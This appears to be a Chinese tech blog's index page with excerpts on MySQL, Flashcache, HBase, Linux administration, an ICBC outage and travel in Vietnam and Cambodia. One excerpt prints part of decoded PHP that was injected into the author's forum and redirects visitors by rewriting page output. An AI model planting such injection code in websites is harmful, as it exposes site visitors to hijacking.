今天是2013阿里技术嘉年华第一天，现场的火热程度，就像这头伏第一天一样，被一股热浪包围着。在二楼的TechShow，我们团队的客户端数据分析产品“无线数读”占据了最热的角落，就在一排大机架的后面，正对着散热口。到会场的时候发现展台人气超高，心里暗自得意呢，还以为有这么多数据的粉丝。其实应该是“淘公仔”面子大，今天关注“数据说话”的朋友中，冲着淘公仔来的不少吧。无线专场最后一场，我分享了一点无线淘宝的数据和做客户端数据遇到的经验。这一年多在无线数据上碰到很多坑，其实到现在也没有填完，现场分享的只是冰山一角，如果大家有兴趣，以后可以慢慢再聊。如果对无线数据感兴趣，希望在无线数据的分析和挖掘方面一展身手，我相信把简历给我是最正确的选择，没有之一，哈哈。今天给大家分享了一个数据，在无线淘宝的用户中，有45.96%用的是苹果设备。初看这个数据很高兴，因为iOS用户的人均购买金额一直都大于Android，愿意花钱的人占比多一些当然没什么不好。但从另外一个角度来看，Android现在的设备出货量远大于iOS，也就是用Android手机的人，还有很多没有成为移动电子商务的用户。去年Android一直是男性用户居多，人均购买金额低可以理解。今年Android女性用户已经明显开始发力，Android用户的增长如果不能跟上设备出货量的增长，是个很危险的事情。在电商领域，得女性用户者得天下。男人负责赚钱 ...继续阅读 (10)

2013.6.23，工行发生重大系统故障，已经有一阵子了。今天想起写这个话题，完全是因为昨天看到了一条现在已经被和谐的微博，当时随手收藏却忘记了粉一下Po主，和谐之后已经死无对证，找不到“传谣”的人了，于是标题的最后形容某群体组织的四个字的专有名词变成了“工行”，不过也好，原来想的标题估计是跨不过深壑的。先来还原一下现场。2013.6.21，@中国工商银行电子银行 微博发布维护公告：尊敬的客户：为了能够向您提供更加优质的服务，我行将于2013年6月23日0:10—1:40进行系统优化。期间，我行网上银行、电话银行、手机银行、短信银行、银企互联等相关系统将暂停服务。由此给您带来不便，敬请谅解。从公告来看，这次维护涉及的面非常广，而时间只有90分钟。一般来说这种计划内的维护都会包括实际操作时间和系统验证的时间，金融类系统的验证工作一般也会比较耗时。因此推测前期准备工作应该还是比较充分。但凌晨2点到4点左右是业务最低峰时间（按照网购业务的低峰期推测），问题可能就出在这里，由于缺乏实际业务压力，验证工作可能只是做了功能性测试。到早上9点，业务压力上来以后，问题陆续出现，根据上述微博在当天12:50发布的消息推测，系统在10点半左右彻底崩溃：6月23日上午10点38分至11点23分，中国工商银行部分地区因计算机系统升级原因造成柜面和电子渠道业务办理缓慢。目前系统已恢复，各项业务业务正常办理。 ...继续阅读 (15)

《高性能MySQL》第三本勘误表，欢迎各位反馈书中的问题，我们将尽量在再次印刷的时候修正这些问题，谢谢大家。购买链接:Amazon京东当当1. 译者序vi 倒数第2段第3行其中，我负责前、推荐序和第1、2、3章修改为其中，我负责前言、推荐序和第1、2、3章注：2013年5月第二次印刷已经订正2. P57第7行rdnwr修改为rndwr注：2013年5月第二次印刷已经订正3. P227第4行（感谢@半个馒头大师指正）我们希望返回所有包含同一个演员参演的电影修改为我们希望返回所有有演员参演的电影注：2013年7月第三次印刷已经订正4. P227第12行（感谢@半个馒头大师指正）很容易表达“包含同一个参演演员“的逻辑修改为很容易表达“有演员参演“的逻辑注：2013年7月第三次印刷已经订正5. P422第3行（感谢@hongbin119指正）noop调度适合没有自己的调度算法的设备修改为noop调度适合那些自己在背后实现了调度算法的设备注：2013年7月第三次印刷已经订正您可能也喜欢：说说MySQL的在线备份给MySQL DBA推荐一本书使用MySQL Proxy和MySQL Replication实现读写分离MySQL的存储引擎《高性能MySQL》(第3版)中文版无觅 ...继续阅读 (21)

历经差不多一年的时间，总算让《高性能MySQL》(第3版)中文版可以和大家见面了，今天Amazon和China-pub已经开始预售，其他网站这几天也都会开始上架。预计4.10可以正式出阁了。Amazon预售地址China-pu预售地址在线试读第2章第3章第4章翻译是件苦差事，初稿出来后，大规模审稿两三次，身心俱疲，大量内容在审稿过程中都被重新修改润色。直到上个周末，最后又快速的过了一次，修正了几十处不太满意的小地方。只要没有最终正式交付给出版社，每看一遍都能找出很多可以改进的地方。因此，然后已经交付付印，心中依然怀有忐忑，期望不要有误导人的错误遗留其中。内容简介《高性能MySQL(第3版)》是MySQL 领域的经典之作，拥有广泛的影响力。第3 版更新了大量的内容，不但涵盖了最新MySQL 5.5版本的新特性，也讲述了关于固态盘、高可扩展性设计和云计算环境下的数据库相关的新内容，原有的基准测试和性能优化部分也做了大量的扩展和补充。全书共分为16 章和6 个附录，内容涵盖MySQL 架构和历史，基准测试和性能剖析，数据库软硬件性能优化，复制、备份和恢复，高可用与高可扩展性，以及云端的MySQL 和MySQL相关工具等方面的内容。每一章都是相对独立的主题，读者可以有选择性地单独阅读。本书不但适合数据库管理员（DBA）阅读，也适合开发人员参考学习。不管是数据库新手还是专家，相信都能从本书有 ...继续阅读 (11)

Ris a free software environment for statistical computing and graphic.在Ubuntu上编译安装时有几个小问题，记录在此备查:1.需要fortran compiler下载完源码，解压后直接执行./configure –prefix=/xxx –enable-R-shlib报错：configure: error: No F77 compiler found这是因为Ubuntu现在默认没有fortran编译器，需要手工装一个，比如gfortran：sudo apt-get install gfortran当然，编译还需要gcc等工具sudo apt-get install build-essential2.需要readline如果系统中没有readline，继续configure还是报错：configure: error: –with-readline=yes (default) and headers/libs are not available两个选择，要么使用–with-readline=no去掉对readline的依赖，要么装一个：sudo apt-get install readline-devel3. 需要X11的headers/libs继续configure ...继续阅读 (19)

2012.9.20，本来想说这一天没什么特别的，翻了一下万年历，居然还是国际爱牙日。上周体检的报告还没出来，但现场的结论是除了牙结石，其他都还好，去年体检的血压偏高/轻度脂肪肝/耳耵聍等问题，今年都消失了，看来要找个时间去尝试下洗牙，争取明年的体检结果能更健康点。好吧，其实我是想说，这一天，终于成为了阿里巴巴五年陈。从进入淘宝的第一天，一年香，三年醇，五年陈的说法就一直萦绕在耳边。还记得一年香的时候礼物是一个印着小蚂蚁的杯子，貌似当年的蚂蚁已经进化成了如今的淘公仔，蚂蚁标记已经从各种地方慢慢消失。其实当年经常唱响的一首小蚂蚁大淘宝的歌依然还在记忆深处吟唱，那时候的淘宝真的非常草根，而今这种感觉可能随着时间感觉已经冲淡了不少。那时候的淘宝DBA团队，兵少而精，数据库都跑在高富帅的IOE（IBM小型机/Oracle数据库/EMC存储）上，现在回首整个就是一青葱岁月，但第一年的收获真的非常大，也经历过至今想起来还浑身冒冷汗的故障。在阿里有一种说法，经过三年的酿造以后，才是真正的阿里人。或许只有真正到了三年才能体会的这句话背后的意义。互联网是一个快速变化的行业，互联网的公司和团队，能保持三年的稳定就相当不容易了。所以在阿里呆上三年，大部分人可能都会碰到团队的变化，即使团队稳定，也会壮大许多了。经历过风雨，心态上才能真正的成熟。而我的三年醇记忆中最深的，则是淘宝和阿里妈妈的整合（2009.9 ...继续阅读 (16)

因为要在本地跑一个web application，使用eclipse的HSF Jetty插件绑定80端口不成功，8080端口则没有问题：2012-09-17 11:36:43.470:WARN::failed SelectChannelConnector@0.0.0.0:80: java.net.SocketException: 权限不够2012-09-17 11:36:43.473:WARN::failed Server@327ac9a7: java.net.SocketException: 权限不够java.net.SocketException: 权限不够1. 猜想有其他进程已经占用了80端口$ sudo netstat -anpt | grep LISTEN结果80端口是available的2. Linux的问题？好吧，想起来了，Linux下只有root用户才能绑定使用1024以下的端口。尝试用sudo eclipse启动IDE，然后编译，发现maven的本地库有些问题，偷个懒把原用户的本地库复制一份后正常$cd /home/ningoo/.m2 $cp -r * /root/.m23. iptables神器虽然sudo大法有效，感觉还是不太爽。于是神器iptables出场，设置将80端口转发到8080端口，这样eclipse中的jetty插件还是可以绑定在8080端口，/ ...继续阅读 (31)

周末在准备澳大利亚的行程，想起半年前申请了一个Welvxing.com的域名，并且也用Discuz X2搭了个论坛(We旅行)，不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下，正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常，偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了，可能被注入代码了，一看PHP源文件，果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来，不过Dreamhost不让这么干，一直报503错误，只好作罢)。解码以后的代码为：if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);...此处省略若干行function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_con ...继续阅读 (11)

这几天在测试环境部署一个适合多种操作系统多种数据库多实例的监控脚本的时候，在一台测试库上监控到一个索引失效，于是根据提示尝试online rebuildalter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics; SQL> alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics; alter index NINGOO.IDX_TEST_KPI_NAME rebuild online compute statistics * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-01450: maximum key length (3215) exceeded看了下索引是创建在一个varchar2(4000)的列上的：SQL> select table_name,column_name,column_length from all_ind_columns where index_name='IDX_TEST_KPI_NAME'; TABLE_NAME COLUMN_NAME COLUMN ...继续阅读 (24)

前几天因为测试新版的Flashcache，为了便于监控性能指标，用Perl写了个秒级的监控程序Flashstat，一开始是通过定期获取dmsetup status的信息做解析，后来在flashcache-dev邮件列表中讨论时，Flashcache的作者Mohan Srinivasan说他已经将dmsetup status的信息暴露在/proc/flashcache_stats中，可以更加方便的解析。实际上，不同版本的Flashcache，输出的性能指标有一些变化。较老的stable_v1版本的性能指标暴露在/proc/flashcache_stats，但是有些重要的指标没有包含进来，例如metadata ssd writes。而新版本支持一个系统中创建多个flashcache设备，因此位置修改成了/proc/flashcache/ssddev+diskdev/flashcache_stats，其中ssddev+diskdev根据实际的设备名不同而不同，例如在上一篇我们创建的模拟设备就应该是loop0+loop1，同时sysctl参数也根据设备名可以设置多组。为了兼容，flashstat针对老版本的flashcache还是解析dmsetup status的信息，而针对新版本则解析/proc中的flashcache_stats。Flashstat的项目地址为：https://gith ...继续阅读 (26)

年底事情比较多，中断了一段时间，这一篇总算要说到Flashcache本身了。由于是内核模块，安装的时候需要内核源码树。具体的安装过程可以参考这里。make -j 4 KERNEL_TREE=/usr/src/kernels/2.6.32-131.0.15.el6.x86_64 sudo make install最初版本的Flashcache只支持writeback，后来单独开了一个支持writethrough的分支在flashcache-wt目录，但目前最新的版本已经将write through合并到主版本，并且增加了write around策略。最新的源码可以到Github获取。env GIT_SSL_NO_VERIFY=true git clone https://github.com/facebook/flashcache.git建议下载完源码后的第一件事，就是去doc下阅读flashcache-doc.txt和flashcache-sa-guide.txt，保证比我则几篇blog有养分得多。不是每个人都有SSD/PCI-E Flash的硬件，所以这里可以给大家一个构建虚拟混合存储设备的小技巧，这样即使是在自己的笔记本上，也可以轻松的模拟Flashcache的试验环境，而且随便折腾。首先，我们可以用内存来模拟一个性能很好的Flash设备，当然这有一个缺点，就是主机重启后就啥都 ...继续阅读 (14)

前文简单介绍了block device和device mapper。有了这两个基础，再来看flashcache的代码，就容易理解多了。Flashcache是一个内核模块，要更清晰的理解代码，还需要了解一下内核模块编写的一些基础知识。好吧，虽然对于内核编程我完全是个门外汉，这里还是需要现学现卖下。所以这一篇还是不会切入正题，已经熟悉Linux内核模块的同学请忽略并耐心等待。Linux内核支持动态的加载模块（Loadable Kernel Module，LKM）以完成某些特定的功能，模块编程需要按照一定的格式以便可以和内核交互。5. 内核符号表内核模块之间的交互需要通过特定的共享变量和函数，这些都需要输出到内核符号表。在模块编程中使用EXPORT_SYMBOL来进行定义。在内核中则使用了kernel_symbol结构来保存符号表信息。# 内核编程基本上都需要包含如下三个头文件。 #includekernel.h> #include#includeinit.h> #内核符号表结构体 struct kernel_symbol { unsigned long value; #函数地址 const char *name; #函数名 }; # 导出符号的宏定义 #define EXPORT_SYMBOL(sym) __EXPORT_SYMBOL(sym, "") #d ...继续阅读 (23)

前文简单的介绍了block device，别急，虽然这个系列的主要目的是介绍Flashcache，这一篇还是不会切入正题，因为我们还需要先了解下什么是device mapper。假如一台主机插入了多块硬盘，单块硬盘的容量和性能都是有限的，如果能将多块硬盘组合一个逻辑的整体，对于这台主机来讲，就实现了最简单意义上的“云存储”。有很多方法可以实现这个目的，比如Raid卡硬件，比如现在很流行的分布式文件系统的replica机制，等等。Linux内核也看到了这个需求，于是2.6有了device mapper，当然device mapper不只是满足这一个需求，对于多路径IO也做了支持。3. Device Mapper简单来讲，Device Mapper是一种组合多个块设备变成一个逻辑块设备的机制。Device Mapper的设计实现主要分为三层：Mapped Device： 映射出的逻辑设备Mapping Table： 映射规则表Taget Device： 底层的实际设备（可以是物理的块设备，也可以是Device Mapper映射出的逻辑设备），根据组合规则的不同，实际设备的使用方式不一样，区分为不同的类型。(图片出处：参考[1])Target device的类型，内核自带的几种包括（linux/include/linux/device-mapper.h）：linear: 线性，顺序使用t ...继续阅读 (31)

Cache is king.在计算机系统中，cache的魔爪无处不在。CPU中有L1,L2,甚至L3 cache;Linux有pagecache，MySQL有buffer cache/query cache;IO系统中Raid卡/磁盘也有cache;在大型互联网系统中，数据库前面一般也都有一层memcache。Cache是容量与性能之前取平衡的结果，以更低的成本，获得更高的收益，是系统设计时应该遵循的原则。传统机械硬盘几十年来，容量不断翻倍的增长，相比较而言，性能的增长就慢的像蜗牛了。对于依赖IO性能的应用，典型的如数据库，一直在等待新的技术来拯救。在此之前，身躯庞大的高端存储，动辄重达几吨。相比于存储里带的硬盘来说，价格贵得离谱，而存储的附加价值，在于io在大量硬盘之间的均衡分布，以及IO链路的多路容灾，以及部分固件层面的优化和数据保护等。Flash disk(SSD/FusionIO等)的出现，改变了这一切。Flash disk将硬盘从机械产品变成了电气产品，功耗更小，性能更好，时延更优，看起来传统硬盘已经不堪一击，数据库欢欣鼓舞，新的革命似乎将一夕成功。但新东西也有它致命的缺陷，价格和经过时间检验的稳定性。所以Facebook的Mohan Srinivasan在2010年开源了Flashcache，将Flash disk做为普通硬盘的cache，这个思路，目前一些尝试也在ra ...继续阅读 (24)

最近开始看HBase，幸运的是，现在HBase社区已经非常的活跃，网络上可以找到大量的参考资料。但对于大集群的运维经验，还有待积累。上周在团队内部简单分享了一下这段时间的读书总结，现在把PPT放出来。这个PPT只是个读书笔记，可能有些理解有误的地方，如果发现了，请一定要留下评论。Hbase运维碎碎念View morepresentationsfromseaman ning您可能也喜欢：关于HBase的一些零碎事西湖登山图塔上秋色OOW2009美国行:启程安昌古镇与乔波冰雪世界无觅 ...继续阅读 (9)

随着Facebook使用HBase来构建实时消息系统，基于Hadoop的面向列存储的HBase持续升温。目前稳定版本的HBase0.90.2只能基于Hadoop0.20.x系列版本，暂不支持最新的0.21.x。而且官方版本的Hadoop0.20.2（或者0.203.0）缺少一个重要的特性，HDFS不支持sync模式的持久，这样HBase就有较大的丢失数据的风险。要在生产环境使用HBase，有两个选择，一是使用Cloudera的CDH3版本，Cloudera就类似MySQL的Percona，对官方版本的Hadoop做了很多改进工作，而且经典的《Hadoop：The Definitive Guide》一书的作者Tom White就是Cloudera的一员，这也和《High performance MySQL》一书的作者主要来是Percona一样。另外一种选择，就是自行编译Hadoop branch-0.20-append源码分支，这里有详细的说明。对于HBase这种类似BigTable的系统，其优化之一是消除了磁盘的随机写。付出的代价是将最新的数据保存在内存表中，对内存有较大的需求。如果内存表的数量较多，则每个内存表就会在较小的时候刷到磁盘，导致磁盘文件多而且小。范围读取数据的时候就会跨多个数据文件甚至多个节点。为提升读性能，系统都会设计有compaction操作。另外为了防止某些情况 ...继续阅读 (47)

上周花时间研究了下RPM打包的方法，今天和团队分享了一次。之前我们采用shell脚本进行批量的MySQL安装，虽然通过不断改进的脚本，批量安装部署的效率已经算不错。但即使是安装MySQL这样简单的事情，不断提升效率，在大规模的环境中也是会带来更多的收益。追求简单，做到极致，共勉之。使用Rpm&yum;进行基础软件管理View morepresentationsfromseaman ning您可能也喜欢：卸载rpm包遭遇error: specifies multiple packagesAIX基础知识：系统资源控制器(System Resource Controller)AIX 5L网卡管理与配置AIX虚拟内存管理机制Oracle10gR2 Logical Standby(七)日常管理与优化无觅 ...继续阅读 (12)

好吧，在胡志明悠闲四天之后，20号我们从Sinh Cafe的大巴开始了紧凑的吴哥窟之旅。对于柬埔寨，以前的唯一印象就是新闻联播中偶有提及的西哈努克国王，首相洪森，以及新闻中不曾提及的那骇人听闻的红色高棉。当然，吴哥窟的大名早已经耳熟能详，但具体如何，则真的是闻名不如见面。这辈子，一定要来看一次吴哥窟，文明的湮灭，在这里有极大的震动，于我而言，远超过雅典卫城和中国长城给我的感觉。如此磅礴的古城，竟然无声无息的消失了四百年多才又重见天日。如此规模的古城，庙宇林立，雕刻精美，残垣断壁，佛兴佛灭，王朝更替，不过寒鸦一声，丛林一片，连历史都不曾有多少记忆。Sinh Cafe的车很准时的在6:30出发，差不多两个多小时后达到巴域边境(Bavet)，这里也是一个小赌城。Sinh Cafe的大巴提供柬埔寨边境签证服务，所以之前我们在国内只签了越南没有签柬埔寨，边境签收了25美元一人。签证和过关的速度很快，基本上十几分钟就通关了，连行李包都没让我们安检。进入柬埔寨境内，沿着一号公路朝金边(Phnom Penh，音：普农奔)继续前进，建筑风格明显一变，当地人也不再戴斗笠，而是宽沿帽，路边的卫生状况也开始变差。甚至很长一段路都是质量一般的沥青路面，快到金边的时候才又变成稍微平整些的水泥路面。在乃良渡口，车需要等轮渡过湄公河，稍微耽搁了点时间，司机还给看渡口的警察送了几瓶矿泉水。一路走走停停，过了中午十二 ...继续阅读 (26)

说起越南的美食，自然逃不开pho和春卷(spring rolls)。Pho就是越南的米粉，现在杭州有一家pho1000的连锁，虽然不是很地道，偶尔去吃吃也能解解馋，城西在竞舟路文三路口就有一家分店。而春卷分为生春卷和炸春卷，用薄的米皮裹以鲜肉和各类青菜，卷成长条形。米粉和春卷在中国南方很多地方都有，但越南的自有一番不同的风味。杭州西湖体育馆旁边有一家越南餐馆叫火车头，对越南美食有兴趣的朋友，可以过去尝尝。去年在巴黎，十三区有一家pho14，是一家解放前移民的老华侨开的，其汤清淡悠远，米粉细韧有劲，吃过以后怀念至今。越南的pho一般不特指就是牛肉粉，并且生牛肉粉更加鲜美些。在胡志明，大街小巷的小吃店，基本都有pho，口味不一，好坏就要碰些运气了，我们第一天吃的就很差劲，汤无味，粉太烂，口感全无。有差的，当然也有好的，在笨蛋市场(Ben Thanh Market，滨城市场)旁边有一家pho2000，店子不大，门口上挂着粉红色的招牌，进去以后，在左手边的墙上，赫然有一张克林顿同学2001年在这里吃pho的照片（怪不得招牌下写着pho for the president），既然10年前美国总统都来这里，我们又幸在10年后走进同一家店子，这就是缘分么，呵呵。人很多，我们点了牛肉粉和鸡肉粉，上菜很快，这就是吃米粉的好处，米粉和汤都是早就准备好的，客人一到就可直接呈上。汤清淡而有余味，肉也很鲜嫩 ...继续阅读 (15)

昨天我们在Sinh Cafe买了20号从胡志明(Ho Chi Minh City)到暹粒(Siem Reap)的车票，17美金一人，价格还算便宜，但是要从早上6:30坐到晚上7点，对体力有些挑战，而且这边的路况不怎么好，和国内的高速自然没法比，即使是国道，也比发达省份的要差些。时间么，以前从老家到上海到义乌都坐过10几个小时的卧铺和大巴，相信我还是能耐得住这漫长的旅途的。Sinh Cafe已经不是一家咖啡馆了，虽然曾经从咖啡馆起步，现在已经是越南相当有名气的旅游公司，改名叫Sinh Tourist，不过Sinh Cafe大名在外，一问基本都知道。他家的Open Bus得到了很多旅行者的推荐，虽然也有一些批评的声音说他们的车况慢慢的不如一些新的公司，不过在服务，守时和地点等方面还是很有优势的，只是现在山寨的Sinh Cafe也不少，要注意辨别，官方网站上有所有office的地址。不知道国内什么时候才能有这种随上随下的Open Bus出现，对于旅行者而言，便利的交通和廉价卫生的旅舍，是最大的后顾之忧，这两个问题解决了，才可以说是真正的旅游城市，而不是有钱人度假的地方。这样我们在胡志明一共要待四天，想想不能都在市区里喝咖啡，还是得去看看传说中的湄公河（Mekong River）。在一家叫SahaBook的书店楼下，有一家叫InnoViet的旅行代理，我们在这里了解了一下湄公河一日游的情况 ...继续阅读 (26)